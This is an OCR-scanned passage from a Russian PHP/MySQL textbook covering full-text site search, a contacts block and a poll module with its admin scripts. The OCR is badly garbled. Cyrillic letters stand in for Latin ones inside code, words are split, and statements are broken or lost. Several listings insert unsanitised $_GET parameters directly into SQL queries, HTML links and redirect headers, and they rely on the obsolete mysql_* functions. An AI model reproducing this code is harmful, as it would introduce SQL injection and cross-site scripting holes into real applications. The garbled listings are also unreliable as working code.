Глава 14. Система поиска по са йту 759 Таблица 14. 1 (окончание) СИМВОЛ Оп исание < Применяется для уменьшения вклада сл ова в величину реле- вантности , кото рая приписы вается строке > Испол ьзуется для увеличения вклада сл ова в величину реле- вантности , которая приписывается ст роке () Группирует слова в подвыражения - П редшествующий слову символ - действует как оператор отр и- цания, обуславливая негати вный вклад данного сл ова в реле- вантность строки . Им отм ечают нежелател ьные сл ова. Строка , содержащая такое сл ово, будет оценена ниже других, но не бу- дет исключена совершенно, как в случ ае символа - * Оператор усечения. В отличие от остал ьных символов, должен добавляться в ко нце сл ова, а не в начале " Фраза, заключенная в двойные ка вычки, соответствует тол ько стр окам, содержащим эту фразу с точ ностью до символа в листи нге 14.1О приводится фрагмент скрипта sеагсI1JuIltехt.рl1р, осуществ­ ляющего поиск в полнотексто вом режи ме. Листинг 14.10. Фрагмент файла search_fu lltext.php <?php // Подсчитываем количество найденных позиций $total $total = О; $query = "SELECT COUNT ($tbl_pos ition . id_pos ition) FROM $tbl_p aragraph , $tbl-pos ition WHERE МАТСН ($tbl_p aragraph .name ) AGAINST ('$_GET [name] ' IN BOOLEAN MODE ) AND $tbl_p osition . hide = 'show ' AND $tbl-paragraph .hide = 'show ' AND $tb l_p osition . id_pos ition = $tbl_p aragraph . id-pos ition" ; $tot = mysql_query ( $qu ery) ; if (!$tot )
760 throw new Except ionМySQL (mys ql_e rror () , $query, Часть 11. Создание сайmа "Ошибка при извлечении количества позиций" ) ; $total += my sql_result ($tot , О) ; $query "SELECT COUNT ($tbl_news . id_news ) FROM $tbl news WНERE МАТСН (пате , body ) AGAINST ('$_GET [naтe] ' IN BOOLEAN MODE ) AND $tbl news . hide = 'show' ' '; $tot = mysql_que ry ($query) ; if( !$tot) throw new Except ionМySQL (mysql_e rror () , $que ry, "Ошибка при извлечении количества позиций" ) ; $total += ffiy sql_result ( $tot , О) ; // Выводим содержимое текущего каталога $query = "SELECT $tblyos ition . id_po sition AS id_position, $tblyos ition . id_catalog AS id_catalog, $tb l_p osition . naтe AS пате , 'art ' AS link FROM $tbl paragraph , $tblyosition WHERE МАТСН ($tbl_paragraph .naтe ) AGAINST ('$_GET [ naтe] ' IN BOOLEAN MODE ) AND $tblyosition . hide = 'show ' AND $tbl_p aragraph .hide = 'show ' AND $tb l_p osition . idyo sition = $tb l_paragraph .id_po sition GROUP ВУ $tb l_p osition . id_po sition UNION
глава 14. Система поиска по сайту - ?> SELECT $tbl_news .id_news AS id_po sition , О, $tbl_news .naтe AS пате , 'news ' AS link FROM $tbl_news WНERE МАТСН (пате , body ) AGAINST ('$_GET [naтe] ' IN BOOLEAN МО ОЕ) AN D $tbl news .hide = 'show ' ORDER ВУ пате LIMIT $first , $pnumbe r" ; 761
ГЛАВА 15 Блок "Контакты" Контактная информация - это важнейшая информация на саЙте . В первую очередь, сайт является информационным лицом компании, поэтому теле­ фоны, е-шаil, почтовый адрес должны находиться любым посетителем мак ­ симально быстро, так как зачастую именно в поисках этих данных посети­ тел и загружают саЙт. В идеале, контактная информация должна находиться на любой странице сайта (обычно ее выносят либо в шапку, либо в ниж­ нюю часть саЙта) . 15.1 . База данных Для хранения контактной информации создадим табл ицу sys- tem_contactaddress ($tbl_contactaddress) , содержащую четы ре поля: О phone - телефон(ы) копании; О fax - факс(ы) компании; о ema il - эл ектронные адреса ко мпании; О addre ss - почтовый адрес. В листинге 15.1 приводится оператор CREATE TABLE, создающий табл и цу system_c ontactaddress. Листинг 15.1 . Таблица sys tem_c on tactaddress ДЛЯ блока "Конта кты" CREATE TAВLE system_ cont actaddress phone text NOT NULL ,
� � а�в=а � 1 5 � . _ Б _ Л _ О _ К __ '% _ о _ н _ m__ ак _ m__ Ь _ I" ____________________________________________ _ 7 _ 6 __ 3 ); [ах text NOT NULL , email text NOT NULL , a ddress text NOT NULL IN SERT INTO system_ contactaddre ss VALUES (' (8000) 00-00-00, \r\n (8000) 00-00 -01 ', '(8000) 00-00-02 ', 'somebody@somewhere .ru' , '000000 , г. Н - ск, ул . Неизвестная , 24 '); НОВЫХ записей в табл ицу system_ contactaddre ss ($ tbl_contactaddress) добавляться не будет, поэто му табл ица не содержит первичных кл ючей, а в си ст еме не будет возможности удалять ил и добавлять записи в табл ицу; м ожно будет редактировать тол ько существующую зап ись. 15.2. Система администрирования Систе ма ад министрирования контактной информации состо ит из одного файла index.pI1p, задача кото рого сводится к редакти рованию записи в таб­ лице system_ contactaddre ss ($tbl_cont actaddress). НТМL-форма, пред­ назначенная дл я редакти рования контактной информации, представлена на рис . 15.1. В листинге 15.2 приводится содержимое файла il1dex.pl1 p. Листинг 1 5.2 . Редакти рование контактной информации, index.php <?php // Устанавливаем соединение с базой данных requi re_once (" ../ . ./config/config .php " ); // Подключаем блок авторизаци и require_once (" ../utils/security_mod .php" ) ; // Подключаем кл ассы формы requi re_once (" ../ ../config/clas s.config . dmn .php" ) ; try $query "SELECT * FROM $tbl contactaddress LIMIT 1";
764 $cnt = mysql_query ( $query); if (!$cnt ) throw new ExceptionМySQL (mysql_error () , $query, "Ошибка при обращении Часть 11. Создание са ЙГnа к конт актной информации ") ; $contact = mysql_fetch_a rray ($cnt) ; if (emp ty ( $_POST )) $_REQUE ST = $contact ; // Телефон $phone // Факс $fax // CCЬU1Ka $ета Н // Адрес $addre ss new field_textarea ("phone", "Телефоны" , false, $_REQUEST['phone ']); new field_textarea ( "fax", "Факс", false, $_REQUE ST ['fax ' ]); new field_t extarea ("ema il", "E-mail" , false, $_REQUE ST ['ema i l']); new field_t extarea ("add res s", "Адрес ", false, $_REQUE ST ['address ']); / / Инициируем форму ма ссивом из двух элементов // упр авления - поля ввода пате // и текстовой области textarea $form = new form(array("phone" => $phone, "fax" => $fax, "email" => $email,
глав а 15. Блок "Контакты " "address" => $address) , "Редактировать " , "field" ) ; / / Обработчик НТМL-формы if ( ! ernpty ($_POST) ) // Пр оверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $forrn->check () ; if (ernpty ( $error) ) // Формируем SQL-запрос на добавление позиции $query = "UPDATE $tbl_contactaddress SET phone = ' { $forrn->fields [phone ]->value }', fax = '{$forrn->fields [fax ] ->value }', ernaН ' { $forrn->fields [ernai l] ->value }', address = ' { $forrn->fields [add ress] - >va lue } , "; if( ! rnysql_query ($query) } throw new Except ionМySQL (rnysql_e rror () , $query, "Ошибка при редактировании контактной информации" } ; // Осуществляем редирект на главную страницу администрирования I header ("Location : index .php") ; ехН(}; // Данные переменные определяют название страницы и подсказку $title = "Редактирование контактной информации "; $pageinfo= '<p class="help"></p> '; // Включаем заголовок страницы require_once (" ../utils/top .php" ) ; echo "<р><а hre f=# onClick= 'history . back () '>Назад< /а></р> "; // Выводим сообщения об ошибках, если они имеются 765
766 Часть 11. Создание са йта if( !ешрtу($еrrоr) ) foreach ($error as $err) echo "<span style=\ "color :red\ ">$�rr</span><br> "; ?> // Выводим НТМL-форму $form- >print_form () ; // Включаем завершение страницы rеquirе_опсе (" ../utils /Ьоttош.рhр" ) ; catch (ExceptionObj ect $ехс ) require (" ../utils/ except i on_obj ect .php ") ; catch ( Except ionМySQL $ехс ) require (" ../utils/ехсерt iоп_шу sql .рhр " ); catch ( ExceptionМember $ехс ) rеquirе (" ../utils/ехсерt i оп_шеmbе r.рhр ") ; Следует отметить, что для всех четырех полей - телефон, факс, e-mail, поч­ то вый адрес - предлагаются текстовые области textarea, не обязател ьные для заполнения. Есл и какое-то из полей не заполнено - оно просто не выво­ дится на саЙте . Формат каждого из полей свободный, его определяет сам ре­ дактор. 15.3 . Блок предста вления Ранее уже указывалось на важность контактной информации и необходи­ мость быстрого доступа к ней из любой части саЙта .
Глава 15. Блок "KOHmaKmbl" ТелефQНЫ: Вопросы 1-1 Ответы Факс E-mait Адрес: (8000) 00-00-00 , (8000) 00-00 -01 (8000) 00-00-02 somebody @somewhe re _ru 000000, г. H -CR, ул _ Неизвестная, 24 �;.:" ' '''';� � � � ./ ' � .. .... ... ..� Редактирова ть Рис. 15.1 . Редакти рование контактн ой информации --_._. _ _ ._.._ - _._. - -- -=-=�-.-::� Рис. 15.2. Ко нтактн ая информация в п равой нижней части сайта 767
768 Часть 11. Создание сайmа Разумнее всего поместить ее в нижней части сайта (рис. 15. 2) таким образ о м , чтобы она была доступна на любой странице - в этом случае посетител ю Не потребуется прил агать дополнительные усилия по ее поиску, даже есл и о н попадает не на гл авную страницу сайта, а на одну из подчиненных (напр и ­ мер, со страниц поисковых систем). Для вывода ко нтактной информаци и в правой нижней части сайта придетс я отредактировать файл tешрlаtеs/Ьоttош .рll Р. В л и сти нге 15.3 прИВОдится фрагмент это го файла. Листинг 15.3 . Фрагмент файла tem plates/bottom .php <?php ?> 11 Извлекаем контактную информацию $query = "SELECT * FROM $tbl_c ontactaddress LIMIT 1"; $adr = my sql_que ry ($que ry) ; if( !$adr) throw new Excepti onМySQL (mys ql_e rror () , $que ry, "ОUП1бка извлечения контактной информации ") ; $address = mysql_fetch_a rray ($adr) ; $adr_a rr = array() ; if (!emp ty ( $address ['address '])) $adr_arr [] if (!emp ty ($address ['phone' ] )) if (!emp ty ($add ress ['fax ' ])) if (!emp ty ($address['ema il ' ])) if ( ! empty ($adr_arr) ) $adr_a rr [] $adr_a rr [] $ adr_a rr [] echo implode ( "<br>", $ adr_arr) ; "$address[addre ss]"; "тел . $addr ess [phone] "; "fax $addre ss [fax ]"; .. e-mail : $address [ema il ] "; Перед выводом непустые поля ед инственной записи табл ицы sys­ tem_ contactaddre ss ($tbl_c ontactaddre ss) помещаются в массив $adr_a rr. Далее они объединяются в одну строку при помощи функци и implode ( ) , причем в качестве раздел ителя испол ьзуется HTML-Ter <br>, обеспечиваю­ щий перевод строки.
(ЛАВА 16 Блок голосования Блок голосования позволяет посетител ям выбрать среди нескол ьких вариан­ тов наиболее приемлемый для себя ответ на вопрос, поставленный админист­ рацие й саЙта. Опрос посетител ей сайта является прекрасной возможностью п олучать обратную связь с наиболее активными из них. Правильно постав­ ленные вопросы позволят скорректи ровать работу отдел ьных бл оков сайта, бизнес-модели, а также увел ичат посещаемость (посетители очень любят, когда их мнением интересуются и учитывают его в своей работе, кроме того, и м самим зачастую интересно посмотреть на результаты опроса). 16.1 . База данных Для создания блока голосования удобно использовать следующие три табл ицы: CJ system_poll - вопросы, вынесенные на голосован ие; CJ system_poll_answer - варианты ответо в; CJ system_poll_session - табл ица, предназначенная дл я защиты от по- вторного голосования. Таблица system_pol l, предназначенная для хранения вопросов, вынесенных на голосование, содержит пять полей : CJ id_ catalog - первичный кл юч табл ицы, снабженный атрибутом AUTO_ INCREMENT, позволяющим автоматически генерировать уникальный идентиф икатор для новых записей; CJ name - текстовое поле, предназначенное для хранения текста вопроса; CJ archive - поле типа ENUM, принимающее тол ько два значения: archive - архивное голосование, active - акти вное голосование;
770 Часть 11. Создание сайmа о hide - поле ти па ENUM, принимающее тол ько два знач ения : hide, если голосование скр ыто и недоступно дл я просмотра со страниц сайта , и show, есл и голосование отображается на страницах сайта; О put date - дата добавления голосования (используется для сортировки). На сайте будет доступно тол ько одно голосование, поле archive которого будет помечено значением active; все остальные голосования будут н ахо­ диться в архиве. В листи нге 16.1 приводится оператор CREATE TABLE, создающий табл и цу system_ poll, которая в скриптах обозначается при помощи переменно й $tb l_p o ll. Листинг 16.1 . Таблица вопросов sys ternyo ll (.$tblyoll ) CREATE TAВLE system_ poll ); id_catalog INT (ll) NOT NULL AUTO_INCREМENT , паше ТЕХТ , archive ENUМ ('archive ', 'active ') NOT NULL DE FAULT 'archive ' , hide ENUМ( 'show' , 'hide') NOT NULL DE FAULT 'show' , putdate DATETlМE DE FAULT NULL, PRlМARY КЕУ (id_c atalog) к каждому из вопросов в таблице system_poll привязывается нескол ько ва­ риантов ответа, размещаемых в таблице system_ pol l_answe r, дл я связи с ко­ торой испол ьзуется В1'Оричный кл юч id_catalog. Ниже приводятся названия стол бцов, входящих в состав данной таблицы: о id_pos ition первичный ключ, снабженный атрибутом АО ТО_ INCREMENT, позволяющим автомати чески идентификатор дл я новых записей; генерировать уникальный О narne - текстовое поле, предназначенное дл я варианта ответа; О pos - поле пред назначено для сортировки элементов: чем меньше его значение, тем выше располагается вариант ответа, и наоборот, чем боль­ ше значение поля pos, тем ниже располагается вариант ответа в общем списке; о hi ts - целочисленное поле, предназначенное для хранения кол ичества голосов, отданных за данный вари ант ответа; О id_catalog - внеш ний кл юч дл я таблицы system роll, позволяющий привя зать вариант ответа к конкретному вопросу.
Гл ава 16. Блок голосования 771 в листинге 16.2 приводится оператор CREATE TAВLE, создающий табл ицу s y s t em_p ol l_answer, которая в скриптах обозначается при помощи перемен­ н ой $tbl_p oll_a nswe r. Л истинг 16.2. Табл ица ответо в system_pol l _ ans wer ($tbl.J'ol l_an swer) CREATE TAВLE system_poll_answer ( ); id_pos ition INT (ll) NOT NULL AUTO_INCREМENT , пате ТЕХТ , pos INT (ll) DEFAULT NULL , hits INT (ll) DEFAULT NULL , id_catalog INT (ll) DEFAULT NULL , PRIМARY КЕУ (id_p osition) По мимо рассмотренных выше рабочих таблиц, система голосования исполь­ зует вспомогател ьную таблицу system_poll_s ession, предназначенную для п редотвращения повторного голосования и накрутки голосов за определен­ н ые варианты ответов. Табл ица содержит следующие столбцы : О id_pos ition - первичный кл юч табл ицы, снабженный атрибутом AUTO_ INCREMENT, позволяющим авто матически генерировать уникальный иде нтификатор для новых записей; О session - поле для хранения идентификатора сессии текущего пол ьзо- вател я; О putdate - поле дл я хранения времени голосования. Табл ица содержит иде нтификаторы сессий (резул ьтат функци и session_id ()), сохраняемые в течение одного часа: посетителям разрешается голосовать только в то м случае, если их идентификатор сессии не содержит­ ся в табл ице system_poll_session. При каждом обращении к табл ице записи, созданные более часа назад, удаляются. В листинге 16.3 приводится оператор CREATE TAВLE, создающий таблицу system_pol l_session, которая в скриптах обозначается при помощи пере­ менной $tb l_poll session. CREATE TAВLE system_poll_s ession ( id-po sition INT (10) NOT NULL AUTO INCREМENT ,
772 ); session TINYTEXT , putdate DATETlМE DEFAULT NULL , PRlМARY КЕУ (id-position) Часть 11. Создание сайmа 16.2. С истема ад м инистрирования Система ад министрирования позволяет создавать новые опросы, а также до­ бавлять дл я каждого из опросов произвольное кол ичество варианто в ответов. Директо рия системы ад министрирования содержит следующие 12 файлов: CI index.php - гл авная страница системы ад министрирования, выводящая список активных и архивных голосован ий; CI polladd.php - НТМL-форма, позволяющая добавить новое голосование; CI polldel.pl1p - скрипт, удаляющий голосование; CI polledit.php - НТМL-форма для редактирования голосования ; CI pollhide.php - скрипт, позволяющий скрыть голосование; CI pollsllOw.php - скрипт, позволяющий отобразить голосование; CI answers .php - страница с вариантам и ответо в дл я текущего голосования ; CI anwadd.pl1p - НТМL-форма дл я добавления нового варианта ответа; CI al1wdel.php - скрипт, позволяющий удалить вариант ответа; CI al1wdowl1 .php - скрипт, перемещающий вариант ответа на одну позицию вниз относител ьно остал ьных вариантов; CI anwedit.pl1p - НТМL-форма для редактирования варианта ответа; CI al1 wup.php - скрипт, перемещающий вариант ответа на одну позици ю вверх отн осител ьно остал ьных варианто в. При обращении пользователя к систе ме адм инистрирования голосований первой стран ицей, куда он попадает, является страница il1dex.pI1p, отобра­ жаю щая список активных и архи вных голосован ий (рис. 16.1). На главной странице представлена табл ица с голосованиями (одно из них является акти вным, в то время как все остальные - архивные), каждая стро­ ка в которой отводится под одно голосование. Стол бцы табл ицы включают название голосования, его статус (акти вное или пассивное) и управляющие ссылки, позволяющие скрыть/отобразить, отредактировать и удал ить голосо­ вание. Название голосования представляет собой ссылку, переход по которо й
Глава 16. Блок голосования 773 п р и водит К стр анице с возможными вариантами ответо в на текущее гол осо­ ван ие ап swеrs .рhр (рис. 16.2). Упuавл ение аккаунтаr"ш CrpYKl)rpa ca�пa Катал ог ПРОЦУКUЮI КОН1 зктная инФормация 8оrшссы 11 Ответы Госте вая книга Блок НОЕОС1И Блок голосования Уп равлеН.1е блоком "Голосование" Здесь можно добавитЬ, orpeAaКn'P08aIb ми удалить блок fолосова •..,я ДобаВLПЬ НОЕЫ-Й опрос Рис. 16.1 . Гл авная страница системы администрирования блока голосования Страница с вариантам и ответов имеет традиционную табл ичную структуру, в кото рой под каждый из вариантов отводится отдел ьная строка. Табл ица со­ стоит из четырех столбцов: текст варианта ответа; кол ичество голосов, от­ да нных за да нный вариант; порядковый номер ответа в списке; управляющие ссыл ки, которые позволяют изменять позицию, отредактировать ил и удалить в ариант ответа. На обеих страни цах (index .php и al1 swers .php) имеются управляющие ссылки, позволяющие добавить новое голосование, и вар иант ответа . На рис. 16.3 представлена НТМL-форма pol ladd .php для добавления нового голосования (внешний вид НТМL-формы для редакти рования голосования polledit.php анал огичен). На рис. 16.4 приводится НТМL-форма al1wadd.php дл я добавления нового вар ианта ответа (внешний вид НТМL-формы для редакти рования варианта ответа al1wedit.pllp аналогичен).
774 воп:шсы и OTB€-TЫ [Q!. .'E.�E�lli! блОК го лосованм I 11саЙТ 12�З сайта i I I не больше 1 О сэйто& i 110-20 С<!Итс. I! Так MtfOrO, 4ТО не МОГ}' СОСЧ�1Тать , i Iя .ООбще не деПЭ>J C<!L1rbI 1062 10-18 851 587 4 496 1274 Часть 11. Создание сайmа Iift.!il lь Ем<iК!Ш1 .Qi1�L� У .u. • .шп" 8Н1Ч. fШm5 f.'_w.i!jg�J1QJ1.i!!� !.u�itTh §.�.!ml РеgЭ!(J11Qоваrь YдaMТI, rL� Вее!)! PP.Q.1]i<ТI1!,05!:aТl:. УЛПfll!Th .�_� Ш � Ра'Ш!:cr11аQiШТ1� LLliШJ1!I I P.�!)jI. Рис. 16.2 . Страница с вариантами ответов для текущего голосования BonoQQ?! н Ответы ГО СН:В;Я Kl;llra Блок голосовзшtЯ Oroбpаж.оъ: Сделать акtИВНЬ1r. .t : Сколько новых сайтов год?1 .. .iiJ .. �. Рис. 16.3 . Добавление нового гол осования
гл ава 1 б. Блок голосования Вr:просы �1 Ответы Блок HoeOCJI1 Блок ГОЛОСОваНИЯ ПОЗ>lЦНЯ '; �:,. .t . � >-t>� ��. � � :у) :�I .. . ...................... ........................� Рис. 16.4 . Добавление нового варианта ответа 775 в листи нге 16.4 приводится содержимое файла il1dex.pi1p, ответственного за в ы в од акти вных и архи вных голосований. Листинг 16.4. Список активных и архивных голосований index.php <?php // Устанавливаем соединение с базой данных require_once ("../ . ./config/config .php ") ; // Подключаем блок авторизации requi re_once ("../utils/security_rnod .php ") ; // Подключаем SoftTirne FrarneWo rk require_once (" . ./ ../config/class . config . drn n .php") ; // Подключаем блок отображения текста в окне браузера require_опсе ("../utils/utils . print_page . php " ) ; // Данные переменные определяют название страницы и подсказку $title = 'Управление блоком "Голосование "'; $pageinfo = '<р сlаss=hеlр>Здесь можно добавить , отредактировать или удалить блок голосования .</р>' ; // Включаем заголовок страницы requi re_once (". ./utils/top .php ") ;
776 Часть 11. Создание са йmа try // Количество ссылок в постраничной навигаци и $page_l ink = 3; // Количество позиций на странице $рпшnbеr = 10; // Объявляем объект постраничной навигации $obj = new pager_mys ql ($tbl_po ll, "", "ORDER ВУ putdate DE SC", $рпшnbеr, $page_link ) ; // Добавить позицию echo "<а href=po lladd . php ?page=$_GET [page ] titlе= ' Добавить новый опрос '> ДОбавить новый опрос</а><Ьr><Ьr> "; // Получаем содержимое текущей страницы $poll = $obj ->get_page () ; // Если им� ется хотя бы одна запись - выводим ее if ( ! empty ($poll) ) { ?> <table width="lOO%" class=" tab le" borde r="O" cellpadding= "O" ce llspacing="O"> <tr class="header" align= "center"> <td>Вопрос</ td> <td width= БО>Статус</td> <td>Действия</ td> </tr> <?php for ($i О; $i < count ($poll) ; $i++) // Если позиция отмечена как невидимая (hide= 'hide' ), выводим // ссылку "отобразить ", если как видимая (hide= 'show' ) - "скрыть "
Гла в а 16. Блок голосования $colorrow = ""; $url = "?id catalog= { $poll [$i] [id_ catalog ] } &page=$_GET [page] "; if($poll [$i] ['h ide' ] == 'show' ) $showhide else $showhide $colorrow "<а href=po llhide .php $url title= ' CKpblTb блок '> Скрыть</а>" ; "<а href=pollshow . php$url titlе= ' Отобразить блок '> Отобразить </а>"; "class= ' hiddenrow '''; // Выясняем статус позиции if ($poll [$i] ['archive '] == 'archive ') $status else $status = "активное "; / / Выводим позицию echo "<tr $colorrow > "архивное "; 777 <td><a href=answers .php ? id_catalog= { $poll [$i] [id_catalog ] } &" . "page=$_GET [page ] >" .print_page ($poll [$i] ['пате' ]). "</a></td> <td align=center>$ status </td> <td align=center> $showhide<br> <а hre f=polledit . php$url titlе= ' Редактировать позицию '>Редактиров ать </а><Ьr> <а href=# onClick=\"deleteyosition ('p Olldel . php$url ',". "'Вы действительно хотите удалить бл ок? ');\ ">Удалит ь</а></td> </tr>" ; echo "</table><br><br> "; / / Выводим ссылки на дРугие страницы echo $obj ;
778 ?> catch ( Excepti onObj ect $ехс ) require ("../uti ls /exception_obj ect . php ") ; catch ( Excepti onМySQL $ехс ) require (" ../utils/ехсерtiоп_шуs ql . рhр ") ; catch ( Except ionМember $ех с) rеquirе ( .. ../utils/ехсерt i оп_шembеr . рhр..); // Включаем заверщение страницы require_once (" ../utils /Ьоttош. рhр" ) ; Часть 11. Создание сайmа Скрипт из листинга 16.4 организует постраничный вывод информации из табл ицы sуstеш_ роll ( $tbl_po ll) при помощи кл асса постран ичной навига­ ции раgе r_шу sql (см . главу 7) . Объя вл ение объекта кл асса выглядит следую­ щим образом : $obj = new раgеr_шуs ql ($tbl_роll, "", "ORDER ВУ putdate DESC" , $pnumber, $page_l ink ) ; Дан ное объя вл ение эквивалентно SQL-запросу, извлекающему из табл ицы sуstеш_ро11 ( $tbl_po ll) дан ные по 10 записей, сортируемые от более новых к более стар ым (л исти нг 16.5). Листинг 16.5 . SQL-ззпрос на извлечение f'Oлосований SELECT * FROM �уstеш_роll ORDER ВУ putdate DE SC LIMIT О, 10 Для каждой из записей проверяется статус поля hide: есл и оно имеет значе­ ние show, формируется управл яющая ссыл ка Скр ыть, в проти вном случае - управляющая ссылка Отобр азить. Анал огичная ситуация с полем archive : есл и дан ное поле принимает значение archive - голосован ие считается ар-
Глава 16. Блок голосования 779 х.ив ныM и недоступным на гл авной странице сайта; есл и поле принимает зна­ чен ие archive - посетители сайта имеют возможность голосовать. В л истинге 16.6 приводится содержи мое НТМL-формы для добавления голо­ сования polIadd.php. Внешний вид данной НТМL-формы приводится на рис. 16.3. Листинг 16.6 . Добавление голосования pol ladd.php <?php // Устанавливаем соединение с базой данных requi re_once (" . ./ ../config/config .php" ) i / / Подкmочаем блок автори заци и requi re_once (" ../utils/securitY_ffiod .php ") i // Подключаем классы формы require_once (". ./ . ./config/class .config . drn n .php" ) i if (ernpty ( $_POST) ) / / Отмечаем флажки $_REQUEST [ , hide ' ] $_REQUE ST ['a ct ive '] true i true i try $пате = new field_textarea ( "пате " , $hide $active $page "Вопрос" , true , $_POST[ 'пате'] ) i new field_checkbox ("hide", "Отображать " , $_REQUE ST ['hide'] )i new field_che ckbox ("active", "Сделать активным" , $_REQUE ST ['active' ])i new field_hidden_int ("page ", false, $_REQUEST ['p age' ])i
780 Часть 11. Создание сайmа $fo= new fo= ( array ("пате " "hide" "active " "page " "Добавить " , "field" ) ; // Обработчик НТМL-формы if ( ! emptу ($_POST) ) => $пате, => $hide , => $active , => $page) , // Проверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $fo=->check () ; if (emp ty ($error) ) // Проверяем, скрыта или открыта позиция if ($fo=->fiеlds ['h idе'J->vаluе ) $showhide else $showh ide = "hide"; "show" ; // Проверяем, активное голосование или архивное if ($fo=->fiеlds ['асtivе 'J->vаluе ) // Голосование активное - все суще ствующие // голосования переводим в пассивный режим $query = "ИРОАТЕ $tbl_poll SET archive = 'archive '''; if( ! my sql_que ry ($query) ) ( throw new Excepti onМySQL (mys ql_error () , $que ry, $status "active"; else $status = "archive "; "Ошибка обновления статуса позиций" ) ; // Формируем SQL-запрос на добавление // голосования $query = "INSERT INTO $tb l_po ll VALUES (NULL ,
Глава 1 б. Блок голосования ' { $form->fields [name] ->value } ', '$status ', '$showhide ' , NOW () )"; if ( !mys ql_query ($que ry ) ) throw new Except i onМySQL (mys ql_error ( ), $que ry, "Ошибка добавления позиции " ); // Осуще ствляем перенаправление // на главную страницу администрирования 781 header ( "Location : index . php ?page= { $form->fields [page] - >value )") ; ехН(); // Начало страницы $title 'Добавление позиции '; $раgеiпfо '<р class=help></p> '; // Включаем заголовок страницы require_once (" ../ut ils/top .php ") ; echo "<р><а href=# onCl ick= 'history .back () '>Назад< /а></р> "; / / ВblEОДИМ сообщения об ошибках , если они имеют ся if (!empty ($e rror) ) foreach ($error as $err) echo "<span style=\"color : red\ ">$err< / span><br> "; } / / ВblEОДИМ НТМL-форму $form->print_form () ; catch ( Excepti onObj ect $ехс ) require (" ../utils/excepti on_obj ect .php ") ;
782 Часть 11. Создание са йmа ?> catch ( Excepti onМySQL $ехс) require (" ../utils/except i on_my sql .php ") ; catch ( Except i onМember $ехс ) require ("../utils/excepti on_membe r.php ") ; // Включаем завершение страницы require_once (" ../utils /bottom.php" ) ; Как видно из листинга 16.6, в скрипте формируется НТМL-форма, состоящая из текстовой области name , предназначенной для ввода вопроса; двух флаж­ ко в: hide И active , кото рые позволяют выбрать соответственно состоя ние (скрыто голосование от посетителей сайта или доступно); статуса голосова­ ния (активное или архивное). Помимо этого через скрытое поле page переда­ ется номер текущей страницы в системе постраничной навигации. После того как пользователь нажимает кнопку Добавить, данные методо м POST из НТМL-формы отправляются той же самой странице polladd.pllp, и в действие вступает обработчик НТМL-формы, заключенный в условие if ( ! empty ($_POST ) ), так как суперглобальный массив $_ POST содержит пе­ реданные из НТМL-формы данные. Перед тем как добавлять новое акти вное голосование, все существующие го­ лосования переводятся в архи в при помощи запроса: UPDATE $tb l_po ll SET archive = 'archive ' После этого при помощи INSЕRТ-запроса в табл ицу system_ poll ( $tb l_po ll) доб авляется новое голосование. в случае редактирования голосования при помощи НТМL-формы polledit.pll p IN SЕRТ-запрос заменяется иРОАТЕ­ запросом . После успешного выполнения SQL-запроса при помощи НТТР-заголовка Location осуществляется переадресация на гл авную стран ицу системы ад­ министрирования. ЗАМЕЧАНИЕ С крипты pollhide.php и pollshow. php, ответств енные за сокрытие и отобра­ же ние голосования, не рассматриваются , так ка к их код аналогичен коду
Гл ава 16. Блок голосования 783 скриптов ранее рассмотренных приложений. Полностью код доступен на компакт-диске , поста вляемом вместе с кн игой. Для удаления голосования испол ьзуется скрипт pol ldel .pl1 p (листи нг 16.7), который принимает два GЕТ-параметра: id_ca talog - первичный ключ уда­ ля емого голосования и page - номер страницы в постран ичной навигации. Л истинг 16.7 . Удаление голосования polldel.php < ?php // Устанавлив аем соединение с базой данных require_o nce (" ../ . ./config/config .php " ); // Подключаем блок авторизации require_once ("../utils/security_rnod .php ") ; // Подключаем SoftTirne FrarneWork require_o nce (" . . / . ./config/class . config . drn n .php") ; / / Пр оверяем GЕТ -параметры, 'предотвращая SQL-инъекцию $_GET ['id_catalog '] intval ( $_GET ['id_catalog ']); try // Удаляем варианты ответов $query = "DELETE FROM $tbl_p oll_answer WHERE id_catalog if ( !rnys ql_query ($que ry) ) { throw new ExceptionМySQL (rnys ql_e rror () , $que ry , // Удаляем вопрос "Ошибка удаления вариантов ответов" ) ; $query = "DELETE FROM $tbl_po ll WНERE id_catalog if ( !rnysql_query($que ry) ) { throw new Except i onМySQL (rnysql error () , $que ry,
784 } "Ошибка удаления вопроса ") ; Часть 11. Создание са йmа // Осуще ствляем переадресацию на главную страницу header ( "Locat ion : index . php ?page=$_GET [page J ") ; catch ( Excepti onМySQL $ехс ) require (" ../utils/exception_my sql .php ") ; ?> Работа скрипта из листинга 16.7 сводится к удал ению одн ой записи (вопроса) из табл ицы system_ poll ( $tbl_p o ll) и записей (варианто в ответа) из табл и­ цы system_ poll_an swer ( $tbl_p oll_answer) . ЗА МЕЧАНИЕ С крипты , обслужи вающие варианты ответо в, в кн иге не рассматр иваются , так как они повторя ют структуру аналогичных скриптов в ранее рассмот­ ренных приложениях. Полностью код доступен на ко мпакт-диске , поста в­ ляемом вместе с кн игой. 16.3 . С истема п редста вления Система голосования представляет собой небол ьшую форму, размещаемую на всех страницах сайта в правой или левой колонке сайта (рис. 16.5) и со­ держащую вопрос и варианты ответо в. После нажатия на кнопку Проголосо­ вать открываются результаты голосования в виде табл ицы, в кото рой указы­ вается количество голосов, отдан ных за каждый вариант, и процентн ый вес варианта ответа. ЗА МЕЧА НИЕ Внимание посетителей сайта чаще привлекает левая колонка са йта , чем правая (это объясняется те м, что посетител и читают сл ева направо) . По­ это му если опрос более важен, чем навигационные ссылки в левой колон­ ке, его целесообразно поместить именно там.
Глава 16. Блок голосования Рис. 16.5 . Гол осование на сайте r.l�'1' ("' 2�Зr.:l(l'"А \. �� tO('�)'OC (. . 1�"20 ci i � ,. i��.• �:)t<�.,GI:I('-. . jТ'lIf� С. J!.�trtl!ttl'\o!l lO �'fw 785 Для того чтобы добавить НТМL-форму с акти вным опросом в левую колонку са йта , необходимо модифицировать файл tе шрlаtеs/Ьоttош.рllР, добавив в не­ го код, представл енный в листи нге 16.8 . Листинг 16.8 . Фрагмент файла templates/bottom.php <?php // Блок голосования // Запрашиваем текущий опрос $query = "SELECT * FROM $tblyoll WНERE archive = 'active ' AND hide = 'show' ''; $pol = mys ql_query ($query) ; if (!$pol ) throw new ExceptionМySQL (mys ql_error () , $query, "Ошибка при обращении к параграфам позиции") ; // Извлекаем параметры вопр оса $poll = my sql_fetch_a rray ($pol) ;
